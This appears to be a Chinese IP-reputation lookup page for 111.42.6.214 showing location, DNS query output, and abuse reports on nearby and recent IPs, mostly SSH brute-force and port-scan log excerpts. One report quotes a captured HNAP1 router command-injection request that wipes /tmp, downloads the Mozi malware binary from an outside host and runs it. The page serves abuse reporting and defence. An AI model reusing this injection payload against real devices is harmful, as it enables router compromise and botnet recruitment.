111.42.6.214 - IPInfo

基本信息:

城市(city): Suihua

省份(region): Heilongjiang

国家(country): China

运营商(isp): China Mobile

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): unknown

用户上报:

点此参与IP信息讨论

暂无关于此IP的讨论, 沙发请点上方按钮

相同子网IP讨论:

IP	类型	评论内容	时间
111.42.66.27	attack	Unauthorized connection attempt detected from IP address 111.42.66.27 to port 8080	2020-05-31 03:43:33
111.42.66.150	attackbotsspam	Honeypot attack, port: 5555, PTR: PTR record not found	2020-05-21 03:30:06
111.42.66.48	attackbots	Unauthorized connection attempt detected from IP address 111.42.66.48 to port 8080 [T]	2020-05-09 18:54:19
111.42.66.143	attackbots	WEB Remote Command Execution via Shell Script -1.a	2020-05-09 07:20:47
111.42.66.43	attackbots	Automatic report - Port Scan Attack	2020-05-08 07:03:12
111.42.66.48	attackspam	Unauthorised access (May 6) SRC=111.42.66.48 LEN=60 TOS=0x04 TTL=52 ID=27433 DF TCP DPT=8080 WINDOW=5840 SYN	2020-05-07 01:18:13
111.42.67.31	attackspam	Unauthorized connection attempt detected from IP address 111.42.67.31 to port 2323 [T]	2020-04-14 23:25:30
111.42.66.162	attack	Honeypot attack, port: 81, PTR: PTR record not found	2020-04-12 21:54:06
111.42.67.77	attackspam	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://111.42.67.77:38257/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m` Content-Length: 640 2020-04-06 12:23:14
111.42.67.49	attackbotsspam	Fail2Ban Ban Triggered	2020-03-28 16:26:23
111.42.67.72	attackbotsspam	suspicious action Thu, 27 Feb 2020 11:22:32 -0300	2020-02-28 03:23:14
111.42.66.151	attackspam	111.42.66.151 - - \[21/Feb/2020:05:56:51 +0100\] "POST /HNAP1/ HTTP/1.0" 301 551 "-" "-"	2020-02-21 14:49:02
111.42.66.45	attackspambots	unauthorized connection attempt	2020-02-16 19:18:24
111.42.66.31	attackspambots	Automatic report - Port Scan Attack	2020-01-30 21:38:03
111.42.66.36	attackspambots	Unauthorized connection attempt detected from IP address 111.42.66.36 to port 23 [J]	2020-01-29 03:41:57

WHOIS信息:

DIG信息:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 111.42.6.214
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 12510
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;111.42.6.214.			IN	A

;; AUTHORITY SECTION:
.			190	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022040201 1800 900 604800 86400

;; Query time: 20 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Apr 03 08:34:26 CST 2022
;; MSG SIZE  rcvd: 105

HOST信息:

b'Host 214.6.42.111.in-addr.arpa not found: 2(SERVFAIL)
'

NSLOOKUP信息:

;; Got SERVFAIL reply from 183.60.83.19, trying next server
Server:		183.60.82.98
Address:	183.60.82.98#53

** server can't find 214.6.42.111.in-addr.arpa: SERVFAIL

最新评论:

IP	类型	评论内容	时间
106.54.44.60	attackspam	Feb 16 19:50:46 web1 sshd\[31063\]: Invalid user wildfly from 106.54.44.60 Feb 16 19:50:46 web1 sshd\[31063\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.54.44.60 Feb 16 19:50:48 web1 sshd\[31063\]: Failed password for invalid user wildfly from 106.54.44.60 port 41144 ssh2 Feb 16 19:52:41 web1 sshd\[31243\]: Invalid user ftpuser from 106.54.44.60 Feb 16 19:52:41 web1 sshd\[31243\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.54.44.60	2020-02-17 14:04:25
104.47.48.36	attackbots	SSH login attempts.	2020-02-17 14:05:15
209.222.82.165	attackbotsspam	SSH login attempts.	2020-02-17 14:15:51
54.37.205.162	attack	B: f2b ssh aggressive 3x	2020-02-17 14:24:51
112.119.213.100	attack	SSH login attempts.	2020-02-17 14:45:47
122.51.168.102	attackspam	Feb 17 07:05:52 legacy sshd[11149]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.168.102 Feb 17 07:05:55 legacy sshd[11149]: Failed password for invalid user altibase from 122.51.168.102 port 41938 ssh2 Feb 17 07:10:32 legacy sshd[11360]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.168.102 ...	2020-02-17 14:27:52
104.197.75.152	attackspambots	104.197.75.152 - - [17/Feb/2020:04:58:58 +0000] "POST /wp-login.php HTTP/1.1" 200 6409 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" 104.197.75.152 - - [17/Feb/2020:04:58:59 +0000] "POST /xmlrpc.php HTTP/1.1" 200 403 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0" ...	2020-02-17 14:28:45
210.140.152.110	attack	Feb 16 20:13:29 hpm sshd\[21474\]: Invalid user liliana from 210.140.152.110 Feb 16 20:13:29 hpm sshd\[21474\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=210.140.152.110 Feb 16 20:13:30 hpm sshd\[21474\]: Failed password for invalid user liliana from 210.140.152.110 port 39184 ssh2 Feb 16 20:16:56 hpm sshd\[21881\]: Invalid user tac from 210.140.152.110 Feb 16 20:16:56 hpm sshd\[21881\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=210.140.152.110	2020-02-17 14:38:12
82.26.204.8	attackspam	Automatic report - Port Scan Attack	2020-02-17 14:26:32
207.148.248.143	attackspambots	SSH login attempts.	2020-02-17 14:14:26
196.219.172.155	attackspambots	MultiHost/MultiPort Probe, Scan, Hack -	2020-02-17 14:04:52
70.82.63.78	attackbotsspam	Feb 17 08:17:43 lukav-desktop sshd\[10188\]: Invalid user csgoserver from 70.82.63.78 Feb 17 08:17:43 lukav-desktop sshd\[10188\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=70.82.63.78 Feb 17 08:17:45 lukav-desktop sshd\[10188\]: Failed password for invalid user csgoserver from 70.82.63.78 port 53782 ssh2 Feb 17 08:19:16 lukav-desktop sshd\[11038\]: Invalid user ubuntu from 70.82.63.78 Feb 17 08:19:16 lukav-desktop sshd\[11038\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=70.82.63.78	2020-02-17 14:21:18
54.201.118.248	attack	Feb 17 06:05:20 zeus sshd[11354]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=54.201.118.248 Feb 17 06:05:22 zeus sshd[11354]: Failed password for invalid user forum from 54.201.118.248 port 48191 ssh2 Feb 17 06:11:36 zeus sshd[11501]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=54.201.118.248 Feb 17 06:11:38 zeus sshd[11501]: Failed password for invalid user solr from 54.201.118.248 port 53177 ssh2	2020-02-17 14:46:35
69.158.207.141	attack	Feb 17 12:55:12 bacztwo sshd[19659]: Invalid user user from 69.158.207.141 port 56306 Feb 17 12:55:31 bacztwo sshd[22077]: Invalid user user from 69.158.207.141 port 39804 Feb 17 12:55:50 bacztwo sshd[24970]: Invalid user oracle from 69.158.207.141 port 51530 Feb 17 12:56:08 bacztwo sshd[26910]: Invalid user oracle from 69.158.207.141 port 35028 Feb 17 12:56:28 bacztwo sshd[29227]: Invalid user ubuntu from 69.158.207.141 port 46751 Feb 17 12:56:48 bacztwo sshd[31989]: Invalid user ubuntu from 69.158.207.141 port 58464 Feb 17 12:57:07 bacztwo sshd[2097]: Invalid user test from 69.158.207.141 port 41945 Feb 17 12:57:27 bacztwo sshd[4429]: Invalid user test from 69.158.207.141 port 53660 Feb 17 12:57:47 bacztwo sshd[7368]: Invalid user student from 69.158.207.141 port 37141 Feb 17 12:58:08 bacztwo sshd[9593]: Invalid user admin from 69.158.207.141 port 48857 Feb 17 12:58:28 bacztwo sshd[11641]: Invalid user tomcat from 69.158.207.141 port 60574 Feb 17 12:58:48 bacztwo sshd[13945]: Invalid ...	2020-02-17 14:07:57
176.32.34.231	attack	firewall-block, port(s): 11211/udp	2020-02-17 14:22:33

最近上报的IP列表

111.42.253.104	111.42.89.23	111.43.123.152	111.43.123.2
20.249.185.59	111.43.19.11	111.77.217.86	111.77.22.12
111.77.22.251	111.77.96.192	111.77.96.202	111.77.96.237
47.246.58.113	111.77.97.219	111.79.192.148	111.79.193.115
111.79.208.239	111.79.211.147	111.79.212.117	111.79.212.137